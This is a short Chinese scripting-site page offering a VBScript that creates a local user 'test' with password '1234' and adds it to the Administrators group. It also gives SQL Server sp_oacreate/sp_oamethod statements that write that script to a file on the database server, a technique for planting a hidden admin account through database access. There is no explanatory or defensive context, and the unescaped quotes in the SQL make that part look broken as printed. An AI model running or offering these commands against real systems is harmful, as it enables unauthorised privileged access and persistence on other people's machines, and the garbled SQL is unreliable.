首页 / 编程脚本 / vbs加administrator用户的代码
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) "得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") "属性,admin组
Set od=ob.Create("user","test") "建立用户
od.SetPassword "1234" "设置密码
od.SetInfo "保存
Set of=GetObject(os&"/test",user) "得到用户
oe.add os&"/test"
SQL语句如下,采用sp_oamethod过程:
declare @o int, @f int, @ret int
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "createtextfile", @f out, "c:1.vbs", 1
exec @ret = sp_oamethod @f, "writeline", NULL,"set wsnetwork=CreateObject
("WSCRIPT.NETWORK")"
exec @ret = sp_oamethod @f, "writeline", NULL,"os="WinNT://"&wsnetwork.
ComputerName"
exec @ret = sp_oamethod @f, "writeline", NULL,"Set ob=GetObject(os)"
exec @ret = sp_oamethod @f, "writeline", NULL,"Set oe=GetObject
(os&"/Administrators,group")"
exec @ret = sp_oamethod @f, "writeline", NULL,"Set od=ob.Create
("user","test")"
exec @ret = sp_oamethod @f, "writeline", NULL,"od.SetPassword "1234""
exec @ret = sp_oamethod @f, "writeline", NULL,"od.SetInfo "
exec @ret = sp_oamethod @f, "writeline", NULL,"Set of=GetObject
(os&"/test",user) "
exec @ret = sp_oamethod @f, "writeline", NULL,"oe.add os&"/test""